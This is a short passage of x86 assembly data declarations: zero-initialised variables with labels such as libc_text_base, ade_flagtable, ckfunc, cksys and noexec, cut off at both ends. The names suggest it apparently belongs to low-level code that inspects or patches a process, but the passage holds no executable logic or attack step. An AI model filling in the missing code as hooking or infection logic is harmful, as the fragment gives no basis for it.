0h libc_text_base dd 0h libc_text_size dd 0h ade_flagtable dd 0h ade_dstruct dd 0h sigfrm dd 0h sdr dd 0h ckfunc dd 0h cksys dd 0h pid dd 0h hep dd 0h noexec dd 0h fini: db 0